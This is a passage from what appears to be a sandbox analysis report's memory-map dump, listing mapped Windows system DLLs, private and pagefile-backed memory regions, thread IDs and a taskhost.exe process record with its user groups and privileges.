"pagefile_0x0000006385d00000" filename = "" Region: id = 6793 start_va = 0x6385d10000 end_va = 0x6385d11fff entry_point = 0x0 region_type = private name = "private_0x0000006385d10000" filename = "" Region: id = 6806 start_va = 0x6385d20000 end_va = 0x6385e6ffff entry_point = 0x0 region_type = private name = "private_0x0000006385d20000" filename = "" Region: id = 6807 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 6808 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 6809 start_va = 0x6385c40000 end_va = 0x6385c4ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006385c40000" filename = "" Region: id = 6810 start_va = 0x7ff617960000 end_va = 0x7ff617a5ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff617960000" filename = "" Region: id = 6811 start_va = 0x6385e70000 end_va = 0x6385eedfff entry_point = 0x6385e70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 6812 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 6813 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 6814 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 6815 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 6816 start_va = 0x6385d20000 end_va = 0x6385d4ffff entry_point = 0x0 region_type = private name = "private_0x0000006385d20000" filename = "" Region: id = 6817 start_va = 0x6385d70000 end_va = 0x6385e6ffff entry_point = 0x0 region_type = private name = "private_0x0000006385d70000" filename = "" Region: id = 6818 start_va = 0x6385c50000 end_va = 0x6385c56fff entry_point = 0x0 region_type = private name = "private_0x0000006385c50000" filename = "" Region: id = 6819 start_va = 0x6385ef0000 end_va = 0x6385fa9fff entry_point = 0x6385f1c768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 6820 start_va = 0x7ffd1bb70000 end_va = 0x7ffd1bb79fff entry_point = 0x7ffd1bb71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 6821 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 6822 start_va = 0x6385d20000 end_va = 0x6385d26fff entry_point = 0x0 region_type = private name = "private_0x0000006385d20000" filename = "" Region: id = 6823 start_va = 0x6385d40000 end_va = 0x6385d4ffff entry_point = 0x0 region_type = private name = "private_0x0000006385d40000" filename = "" Region: id = 6824 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 6825 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 6826 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 6827 start_va = 0x6385ef0000 end_va = 0x6386077fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006385ef0000" filename = "" Region: id = 6828 start_va = 0x6386080000 end_va = 0x6386200fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006386080000" filename = "" Region: id = 6829 start_va = 0x6386210000 end_va = 0x63862cffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006386210000" filename = "" Region: id = 6830 start_va = 0x6385d30000 end_va = 0x6385d32fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006385d30000" filename = "" Region: id = 6831 start_va = 0x6385d50000 end_va = 0x6385d50fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006385d50000" filename = "" Region: id = 6832 start_va = 0x6385d60000 end_va = 0x6385d60fff entry_point = 0x0 region_type = private name = "private_0x0000006385d60000" filename = "" Region: id = 6833 start_va = 0x63862d0000 end_va = 0x63866c9fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000063862d0000" filename = "" Region: id = 6834 start_va = 0x63866d0000 end_va = 0x63866d0fff entry_point = 0x0 region_type = private name = "private_0x00000063866d0000" filename = "" Region: id = 6850 start_va = 0x63866e0000 end_va = 0x638675ffff entry_point = 0x0 region_type = private name = "private_0x00000063866e0000" filename = "" Region: id = 6851 start_va = 0x6386760000 end_va = 0x63867dffff entry_point = 0x0 region_type = private name = "private_0x0000006386760000" filename = "" Region: id = 6852 start_va = 0x7ff617a88000 end_va = 0x7ff617a89fff entry_point = 0x0 region_type = private name = "private_0x00007ff617a88000" filename = "" Region: id = 6853 start_va = 0x7ff617a8a000 end_va = 0x7ff617a8bfff entry_point = 0x0 region_type = private name = "private_0x00007ff617a8a000" filename = "" Region: id = 6854 start_va = 0x63867e0000 end_va = 0x6386ab4fff entry_point = 0x63867e0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 6855 start_va = 0x7ffd131a0000 end_va = 0x7ffd131defff entry_point = 0x7ffd131a0000 region_type = mapped_file name = "timebrokerserver.dll" filename = "\\Windows\\System32\\TimeBrokerServer.dll" (normalized: "c:\\windows\\system32\\timebrokerserver.dll") Region: id = 6856 start_va = 0x7ffd1cc50000 end_va = 0x7ffd1cc94fff entry_point = 0x7ffd1cc51290 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 6857 start_va = 0x7ffd19f40000 end_va = 0x7ffd19f4afff entry_point = 0x7ffd19f43d60 region_type = mapped_file name = "bi.dll" filename = "\\Windows\\System32\\bi.dll" (normalized: "c:\\windows\\system32\\bi.dll") Region: id = 6871 start_va = 0x6386ac0000 end_va = 0x6386b3ffff entry_point = 0x0 region_type = private name = "private_0x0000006386ac0000" filename = "" Region: id = 6872 start_va = 0x7ff617a86000 end_va = 0x7ff617a87fff entry_point = 0x0 region_type = private name = "private_0x00007ff617a86000" filename = "" Region: id = 6873 start_va = 0x6386b40000 end_va = 0x6386b40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006386b40000" filename = "" Region: id = 6874 start_va = 0x7ffd1d590000 end_va = 0x7ffd1d633fff entry_point = 0x7ffd1d591170 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 6875 start_va = 0x6386b50000 end_va = 0x6386b50fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006386b50000" filename = "" Region: id = 6876 start_va = 0x7ffd17840000 end_va = 0x7ffd178f6fff entry_point = 0x7ffd178410a8 region_type = mapped_file name = "twinapi.dll" filename = "\\Windows\\System32\\twinapi.dll" (normalized: "c:\\windows\\system32\\twinapi.dll") Region: id = 6877 start_va = 0x7ffd1b380000 end_va = 0x7ffd1b420fff entry_point = 0x7ffd1b3810a0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 7330 start_va = 0x7ffd122e0000 end_va = 0x7ffd1231efff entry_point = 0x7ffd122e0000 region_type = mapped_file name = "ssdpsrv.dll" filename = "\\Windows\\System32\\ssdpsrv.dll" (normalized: "c:\\windows\\system32\\ssdpsrv.dll") Region: id = 7385 start_va = 0x7ffd1f350000 end_va = 0x7ffd1f3a7fff entry_point = 0x7ffd1f35109c region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 7386 start_va = 0x7ffd1dd40000 end_va = 0x7ffd1dd48fff entry_point = 0x7ffd1dd41400 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 7387 start_va = 0x7ffd1bbd0000 end_va = 0x7ffd1bc85fff entry_point = 0x7ffd1bbe2c60 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 7406 start_va = 0x6386b60000 end_va = 0x6386bdffff entry_point = 0x0 region_type = private name = "private_0x0000006386b60000" filename = "" Region: id = 7407 start_va = 0x7ff617a84000 end_va = 0x7ff617a85fff entry_point = 0x0 region_type = private name = "private_0x00007ff617a84000" filename = "" Region: id = 7408 start_va = 0x6386be0000 end_va = 0x6386cdffff entry_point = 0x0 region_type = private name = "private_0x0000006386be0000" filename = "" Region: id = 7409 start_va = 0x7ffd18a60000 end_va = 0x7ffd18a88fff entry_point = 0x7ffd18a67968 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 7410 start_va = 0x7ffd18a50000 end_va = 0x7ffd18a59fff entry_point = 0x7ffd18a510c4 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 7411 start_va = 0x7ffd181a0000 end_va = 0x7ffd181b3fff entry_point = 0x7ffd181a1780 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 7413 start_va = 0x7ffd18180000 end_va = 0x7ffd18198fff entry_point = 0x7ffd18181dcc region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 7416 start_va = 0x7ffd1c640000 end_va = 0x7ffd1c65dfff entry_point = 0x7ffd1c6411c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 7417 start_va = 0x7ffd1c220000 end_va = 0x7ffd1c254fff entry_point = 0x7ffd1c2213d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 7418 start_va = 0x7ffd1c870000 end_va = 0x7ffd1c895fff entry_point = 0x7ffd1c875b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 7419 start_va = 0x7ffd1c5e0000 end_va = 0x7ffd1c637fff entry_point = 0x7ffd1c5e1010 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 7433 start_va = 0x6386ce0000 end_va = 0x6386d5ffff entry_point = 0x0 region_type = private name = "private_0x0000006386ce0000" filename = "" Region: id = 7434 start_va = 0x7ff61795e000 end_va = 0x7ff61795ffff entry_point = 0x0 region_type = private name = "private_0x00007ff61795e000" filename = "" Region: id = 7435 start_va = 0x7ffd1cae0000 end_va = 0x7ffd1cb0afff entry_point = 0x7ffd1cae1490 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 7436 start_va = 0x6386d60000 end_va = 0x6386d60fff entry_point = 0x0 region_type = private name = "private_0x0000006386d60000" filename = "" Region: id = 7437 start_va = 0x6386d60000 end_va = 0x6386d60fff entry_point = 0x0 region_type = private name = "private_0x0000006386d60000" filename = "" Region: id = 7438 start_va = 0x6386d60000 end_va = 0x6386d60fff entry_point = 0x0 region_type = private name = "private_0x0000006386d60000" filename = "" Region: id = 7439 start_va = 0x6386d60000 end_va = 0x6386d60fff entry_point = 0x0 region_type = private name = "private_0x0000006386d60000" filename = "" Region: id = 7440 start_va = 0x6386d60000 end_va = 0x6386d60fff entry_point = 0x0 region_type = private name = "private_0x0000006386d60000" filename = "" Region: id = 7441 start_va = 0x6386d60000 end_va = 0x6386d60fff entry_point = 0x0 region_type = private name = "private_0x0000006386d60000" filename = "" Region: id = 7442 start_va = 0x6386d60000 end_va = 0x6386d60fff entry_point = 0x0 region_type = private name = "private_0x0000006386d60000" filename = "" Region: id = 7443 start_va = 0x6386d60000 end_va = 0x6386d60fff entry_point = 0x0 region_type = private name = "private_0x0000006386d60000" filename = "" Region: id = 7444 start_va = 0x6386d60000 end_va = 0x6386d60fff entry_point = 0x0 region_type = private name = "private_0x0000006386d60000" filename = "" Region: id = 7445 start_va = 0x6386d60000 end_va = 0x6386d60fff entry_point = 0x0 region_type = private name = "private_0x0000006386d60000" filename = "" Region: id = 7446 start_va = 0x6386d60000 end_va = 0x6386ddffff entry_point = 0x0 region_type = private name = "private_0x0000006386d60000" filename = "" Region: id = 7447 start_va = 0x7ff61795c000 end_va = 0x7ff61795dfff entry_point = 0x0 region_type = private name = "private_0x00007ff61795c000" filename = "" Region: id = 7556 start_va = 0x6386de0000 end_va = 0x6386e5ffff entry_point = 0x0 region_type = private name = "private_0x0000006386de0000" filename = "" Region: id = 7557 start_va = 0x7ff61795a000 end_va = 0x7ff61795bfff entry_point = 0x0 region_type = private name = "private_0x00007ff61795a000" filename = "" Region: id = 7573 start_va = 0x6386e60000 end_va = 0x6386edffff entry_point = 0x0 region_type = private name = "private_0x0000006386e60000" filename = "" Region: id = 7574 start_va = 0x7ff617958000 end_va = 0x7ff617959fff entry_point = 0x0 region_type = private name = "private_0x00007ff617958000" filename = "" Region: id = 7575 start_va = 0x6386ee0000 end_va = 0x6386f5ffff entry_point = 0x0 region_type = private name = "private_0x0000006386ee0000" filename = "" Region: id = 7576 start_va = 0x7ff617956000 end_va = 0x7ff617957fff entry_point = 0x0 region_type = private name = "private_0x00007ff617956000" filename = "" Region: id = 7588 start_va = 0x6386f60000 end_va = 0x6386fdffff entry_point = 0x0 region_type = private name = "private_0x0000006386f60000" filename = "" Region: id = 7589 start_va = 0x7ff617954000 end_va = 0x7ff617955fff entry_point = 0x0 region_type = private name = "private_0x00007ff617954000" filename = "" Thread: id = 629 os_tid = 0x7b8 Thread: id = 637 os_tid = 0x7d8 Thread: id = 640 os_tid = 0x7e4 Thread: id = 642 os_tid = 0x7ec Thread: id = 702 os_tid = 0x670 Thread: id = 704 os_tid = 0x66c Thread: id = 707 os_tid = 0x718 Thread: id = 708 os_tid = 0x2b8 Thread: id = 719 os_tid = 0x810 Thread: id = 720 os_tid = 0x814 Thread: id = 723 os_tid = 0x820 Thread: id = 725 os_tid = 0x828 Thread: id = 727 os_tid = 0x830 Process: id = "66" image_name = "taskhost.exe" filename = "c:\\windows\\system32\\taskhost.exe" page_root = "0x70e8b000" os_pid = "0x3b4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x320" cmd_line = "taskhost.exe " cur_dir = "C:\\Windows\\system32\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c2aa" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 7011 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 7012 start_va = 0xc4913e0000 end_va = 0xc4913fffff entry_point = 0x0 region_type = private name = "private_0x000000c4913e0000" filename = "" Region: id = 7013 start_va = 0xc491400000 end_va = 0xc49140efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c491400000" filename = "" Region: id = 7014 start_va = 0xc491410000 end_va = 0xc49148ffff entry_point = 0x0 region_type = private name = "private_0x000000c491410000" filename = "" Region: id = 7015 start_va = 0xc491490000 end_va = 0xc491493fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c491490000" filename = "" Region: id = 7016 start_va = 0x7ff7f3d80000 end_va = 0x7ff7f3da2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7f3d80000" filename = "" Region: id = 7017 start_va = 0x7ff7f3dac000 end_va = 0x7ff7f3dacfff entry_point = 0x0 region_type = private name = "private_0x00007ff7f3dac000" filename = "" Region: id = 7018 start_va = 0x7ff7f3dae000 end_va = 0x7ff7f3daffff entry_point = 0x0 region_type = private name = "private_0x00007ff7f3dae000" filename = "" Region: id = 7019 start_va = 0x7ff7f4a20000 end_va = 0x7ff7f4a35fff entry_point = 0x7ff7f4a2309c region_type = mapped_file name = "taskhost.exe" filename = "\\Windows\\System32\\taskhost.exe" (normalized: "c:\\windows\\system32\\taskhost.exe") Region: id = 7020 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 7021 start_va = 0xc4914a0000 end_va = 0xc4914a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c4914a0000" filename = "" Region: id = 7022 start_va = 0xc4914b0000 end_va = 0xc4914b1fff entry_point = 0x0 region_type = private name = "private_0x000000c4914b0000" filename = "" Region: id = 7040 start_va = 0xc4916a0000 end_va = 0xc49179ffff entry_point = 0x0 region_type = private name = "private_0x000000c4916a0000" filename = "" Region: id = 7041 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 7042 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 7046 start_va = 0xc4913e0000 end_va = 0xc4913effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c4913e0000" filename = "" Region: id = 7047 start_va = 0x7ff7f3c80000 end_va = 0x7ff7f3d7ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7f3c80000" filename = "" Region: id = 7048 start_va = 0xc4914c0000 end_va = 0xc49153dfff entry_point = 0xc4914c0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 7049 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 7056 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 7057 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 7058 start_va = 0x7ffd1da80000 end_va = 0x7ffd1db36fff entry_point = 0x7ffd1da81120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 7059 start_va = 0xc4917a0000 end_va = 0xc49191ffff entry_point = 0x0 region_type = private name = "private_0x000000c4917a0000" filename = "" Region: id = 7060 start_va = 0xc4913f0000 end_va = 0xc4913f6fff entry_point = 0x0 region_type = private name = "private_0x000000c4913f0000" filename = "" Region: id = 7061 start_va = 0xc491920000 end_va = 0xc491a96fff entry_point = 0xc4919210b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 7062 start_va = 0xc491540000 end_va = 0xc4915f9fff entry_point = 0xc49156c768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 7063 start_va = 0x7ffd1bb70000 end_va = 0x7ffd1bb79fff entry_point = 0x7ffd1bb71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 7064 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 7065 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 7066 start_va = 0xc491540000 end_va = 0xc491546fff entry_point = 0x0 region_type = private name = "private_0x000000c491540000" filename = "" Region: id = 7150 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7154 start_va = 0xc491550000 end_va = 0xc4915cffff entry_point = 0x0 region_type = private name = "private_0x000000c491550000" filename = "" Region: id = 7155 start_va = 0x7ff7f3daa000 end_va = 0x7ff7f3dabfff entry_point = 0x0 region_type = private name = "private_0x00007ff7f3daa000" filename = "" Region: id = 7156 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 7157 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 7158 start_va = 0xc4915d0000 end_va = 0xc491603fff entry_point = 0xc4915d1030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7159 start_va = 0xc491920000 end_va = 0xc491aa7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c491920000" filename = "" Region: id = 7160 start_va = 0x7ffd1d550000 end_va = 0x7ffd1d583fff entry_point = 0x7ffd1d551030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7161 start_va = 0x7ffd1d1b0000 end_va = 0x7ffd1d2e7fff entry_point = 0x7ffd1d1b1010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 7162 start_va = 0xc491ab0000 end_va = 0xc491c30fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c491ab0000" filename = "" Region: id = 7163 start_va = 0xc491c40000 end_va = 0xc49303ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c491c40000" filename = "" Region: id = 7164 start_va = 0xc4915d0000 end_va = 0xc4915d2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c4915d0000" filename = "" Region: id = 7165 start_va = 0xc4915e0000 end_va = 0xc4915e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c4915e0000" filename = "" Region: id = 7166 start_va = 0xc4915f0000 end_va = 0xc4915f0fff entry_point = 0xc4915f0000 region_type = mapped_file name = "taskhost.exe.mui" filename = "\\Windows\\System32\\en-US\\taskhost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\taskhost.exe.mui") Region: id = 7167 start_va = 0xc491600000 end_va = 0xc491600fff entry_point = 0x0 region_type = private name = "private_0x000000c491600000" filename = "" Region: id = 7168 start_va = 0xc491610000 end_va = 0xc491610fff entry_point = 0x0 region_type = private name = "private_0x000000c491610000" filename = "" Region: id = 7169 start_va = 0x7ffd1b9f0000 end_va = 0x7ffd1bb11fff entry_point = 0x7ffd1b9fb444 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 7170 start_va = 0xc493040000 end_va = 0xc49322ffff entry_point = 0x0 region_type = private name = "private_0x000000c493040000" filename = "" Region: id = 7172 start_va = 0xc491620000 end_va = 0xc491620fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c491620000" filename = "" Region: id = 7173 start_va = 0xc4917a0000 end_va = 0xc49188ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c4917a0000" filename = "" Region: id = 7174 start_va = 0xc491910000 end_va = 0xc49191ffff entry_point = 0x0 region_type = private name = "private_0x000000c491910000" filename = "" Region: id = 7175 start_va = 0xc491620000 end_va = 0xc491623fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c491620000" filename = "" Region: id = 7176 start_va = 0xc491630000 end_va = 0xc491636fff entry_point = 0x0 region_type = private name = "private_0x000000c491630000" filename = "" Region: id = 7177 start_va = 0x7ffd1b1a0000 end_va = 0x7ffd1b1c0fff entry_point = 0x7ffd1b1a1100 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 7178 start_va = 0xc491890000 end_va = 0xc49190ffff entry_point = 0x0 region_type = private name = "private_0x000000c491890000" filename = "" Region: id = 7179 start_va = 0xc493040000 end_va = 0xc4930bffff entry_point = 0x0 region_type = private name = "private_0x000000c493040000" filename = "" Region: id = 7180 start_va = 0xc493220000 end_va = 0xc49322ffff entry_point = 0x0 region_type = private name = "private_0x000000c493220000" filename = "" Region: id = 7181 start_va = 0x7ff7f3da6000 end_va = 0x7ff7f3da7fff entry_point = 0x0 region_type = private name = "private_0x00007ff7f3da6000" filename = "" Region: id = 7182 start_va = 0x7ff7f3da8000 end_va = 0x7ff7f3da9fff entry_point = 0x0 region_type = private name = "private_0x00007ff7f3da8000" filename = "" Region: id = 7183 start_va = 0xc491640000 end_va = 0xc491640fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c491640000" filename = "" Region: id = 7184 start_va = 0x7ffd1d590000 end_va = 0x7ffd1d633fff entry_point = 0x7ffd1d591170 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 7185 start_va = 0xc491650000 end_va = 0xc491650fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c491650000" filename = "" Region: id = 7186 start_va = 0x7ffd18290000 end_va = 0x7ffd1834bfff entry_point = 0x7ffd182c355c region_type = mapped_file name = "settingsynccore.dll" filename = "\\Windows\\System32\\SettingSyncCore.dll" (normalized: "c:\\windows\\system32\\settingsynccore.dll") Region: id = 7187 start_va = 0xc491660000 end_va = 0xc491662fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c491660000" filename = "" Region: id = 7188 start_va = 0x7ffd1b380000 end_va = 0x7ffd1b420fff entry_point = 0x7ffd1b3810a0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: 